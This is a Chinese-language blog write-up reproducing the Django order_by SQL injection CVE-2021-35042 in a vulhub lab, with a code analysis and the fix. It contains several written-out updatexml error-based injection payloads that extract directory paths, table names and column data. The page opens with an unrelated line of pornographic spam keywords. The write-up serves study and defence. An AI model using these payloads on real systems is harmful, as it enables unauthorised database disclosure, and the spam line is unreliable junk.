狠狠久久亚洲欧美专区,无码人妻精品一区二区在线视频,国产乱人偷精品人妻A片,四川乱子伦视频国产

 

【漏洞復(fù)現(xiàn)】Django SQL注入漏洞(CVE-2021-35042)

 信安客 2021-11-24 

一、漏洞描述:

Django是開放源代碼Python開發(fā)的Web應(yīng)用框架。采用了MVC的框架模式,即模型M,視圖V和控制器C。它最初是被開發(fā)來(lái)用于管理勞倫斯出版集團(tuán)旗下的一些以新聞內(nèi)容為主的CMS(內(nèi)容管理系統(tǒng))軟件。

在Django組件中SQL注入漏洞是由于QuerySet.order_by()中對(duì)用戶提供數(shù)據(jù)的過(guò)濾不足,導(dǎo)致攻擊者可利用該漏洞在未授權(quán)的情況下,構(gòu)造惡意數(shù)據(jù)執(zhí)行SQL注入攻擊,最終造成服務(wù)器信息泄露。

二、漏洞形成原因

Django中很容易對(duì)數(shù)據(jù)庫(kù)創(chuàng)建表并定義字段,只需在models.py文件中聲明一個(gè)模型類即可。

Django內(nèi)置了一個(gè)ORM框架,從數(shù)據(jù)庫(kù)查詢出來(lái)的結(jié)果是一個(gè)合集,這個(gè)合集就是QuerySet。而order_by這個(gè)方法的作用,是將查詢出來(lái)的結(jié)果按照某字段的值,由小到大或由大到小進(jìn)行排序。在views.py的視圖函數(shù)中,先是獲取到了用戶傳入的參數(shù)值order(如果沒(méi)有傳入?yún)?shù)默認(rèn)值為id)。然后到Collection表中進(jìn)行數(shù)據(jù)查詢,對(duì)返回的結(jié)果按照id值從小到大進(jìn)行排序。最后使用values()函數(shù)將數(shù)據(jù)合集轉(zhuǎn)化成一個(gè)一個(gè)json的數(shù)據(jù)格式返回。

假如返回的結(jié)果按照id值排序Collection.objects.order_by(‘id’),默認(rèn)是從小到大的順序。如果想要變成從大到小,只需要把’id’變成’-id’即可。因此可以通過(guò)在參數(shù)值前面加‘-’來(lái)判斷,如果返回的順序顛倒了那么就是使用了order_by。


三、影響版本

Django 3.2/3.1


四、環(huán)境搭建

1、進(jìn)入路徑:/vulhub/django/CVE-2021-35042,執(zhí)行命令docker-compose build和docker-compose up -d,部署靶機(jī)環(huán)境,過(guò)程如下:


2、訪問(wèn)靶機(jī)8000端口,如下所示即搭建成功


五、漏洞復(fù)現(xiàn)

進(jìn)入vuln目錄,通過(guò)get方式傳參?order=-id

可以看到前后的輸出結(jié)果不一樣了,-id是指按照id降序排列數(shù)據(jù),說(shuō)明這里是用戶可以控制的,那么就能嘗試構(gòu)造語(yǔ)句去執(zhí)行其他指令。當(dāng)傳遞一個(gè)錯(cuò)誤的參數(shù)時(shí),網(wǎng)頁(yè)會(huì)顯示一個(gè)報(bào)錯(cuò)頁(yè)面,并將錯(cuò)誤信息提示出來(lái)。


 
那么這里就可以嘗試報(bào)錯(cuò)注入,將我們想要查詢的數(shù)據(jù)通過(guò)報(bào)錯(cuò)的信息帶出來(lái)
構(gòu)造語(yǔ)句讀取根目錄信息:
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(select @@basedir)),1)%23


 
也可構(gòu)造語(yǔ)句讀取當(dāng)前數(shù)據(jù)庫(kù)中的表信息:
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(Select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23




之后即可通過(guò)變更紅色部分的命令來(lái)讀取數(shù)據(jù)庫(kù)中的信息,通過(guò)報(bào)錯(cuò)注入讀取數(shù)據(jù)存在一個(gè)弊端,一次只能讀取32位的數(shù)據(jù),用not in()把已經(jīng)知道的內(nèi)容剔除掉,也可以不用group_concat()而使用limit控制讀取,通過(guò)前后添加特殊符號(hào)來(lái)判斷數(shù)據(jù)是否讀取完整
?order=vuln_collection.name);
select updatexml(1,concat(0x7e,(Select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)%23


 
當(dāng)讀取同一條數(shù)據(jù)無(wú)法完全獲取時(shí),可以利用mid函數(shù)來(lái)控制輸出的位置
例如只輸出django_migrations表applied列的1~6的內(nèi)容
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(Select mid(applied,1,6) from django_migrations limit 0,1),0x7e),1)%23



六、漏洞分析

首先看一下這個(gè)網(wǎng)頁(yè)的內(nèi)容,在訪問(wèn)vuln目錄后,默認(rèn)進(jìn)入的是views.py文件,其中通過(guò)get方式接收order傳來(lái)的內(nèi)容,放到order_by函數(shù)中去處理。


當(dāng)order_by函數(shù)在django/db/models/query.py中運(yùn)行到Collection.objects.order_by(‘id’)的時(shí)候,主要是進(jìn)入如下函數(shù)來(lái)判斷order_by 的排序順序和表達(dá)式。

 
該函數(shù)主要是清除當(dāng)前所有的通過(guò)order_by函數(shù)調(diào)用的方法,也就清除Query類中的self.order_by參數(shù)。第二件事就是增加self.order_by參數(shù),跟進(jìn)一下add_ordering()函數(shù),在/django/db/models/sql/query.py文件中Django的orderby支持用表名.列名的形式傳參排序,如:order_by(users.name)。


在傳遞的參數(shù)中有點(diǎn)時(shí),就會(huì)執(zhí)行warnings.warn()和continue,此時(shí)就會(huì)跳轉(zhuǎn)到下面的self.names_to_path(item.split(LOOKUP_SEP), self.model._meta),這里就是對(duì)參數(shù)進(jìn)行安全檢查的,那么如果去掉continue,就會(huì)報(bào)錯(cuò)。

 
在/django/db/models/sql/compiler.py文件中處理表、列的函數(shù)


 在這里處理時(shí)只針對(duì)table,沒(méi)有col,所以導(dǎo)致col處可以插入代碼。


七、漏洞修復(fù)
官方通過(guò)在4.0版本后不在支持使用表名.列名的方式進(jìn)行orderby查詢。

 證書咨詢

 電話咨詢  在線咨詢  預(yù)約報(bào)名